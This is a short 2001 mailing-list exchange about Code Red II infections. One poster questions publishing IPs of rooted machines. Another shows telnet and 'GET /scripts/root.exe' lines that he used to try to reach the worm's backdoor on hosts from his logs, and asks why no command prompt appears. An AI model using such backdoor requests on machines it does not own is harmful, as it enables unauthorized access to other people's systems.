CR worm infection attempts

[Craig White]

Wayne Conrad wrote:
> 
> On Sun, 05 August 2001, "J.Francois" wrote:
> > I got tired of counting and just started putting the info into my IDS page.
> > That way I can send complaints and point them to a URL so I don't have to
> > keep recreating the same data each time.
> 
> Are you putting the IP's up too?  Every one of the CRII infected boxes is rooted...  I wonder about the goodness of publishing a list of known rooted boxes.
>     Wayne
________________________________________________

I've been trying that out

telnet ipaddress_from_my_httpd_access_log 80

GET /scripts/root.exe HTTP/1.0

but I can't get a command prompt - what am I missing?

Craig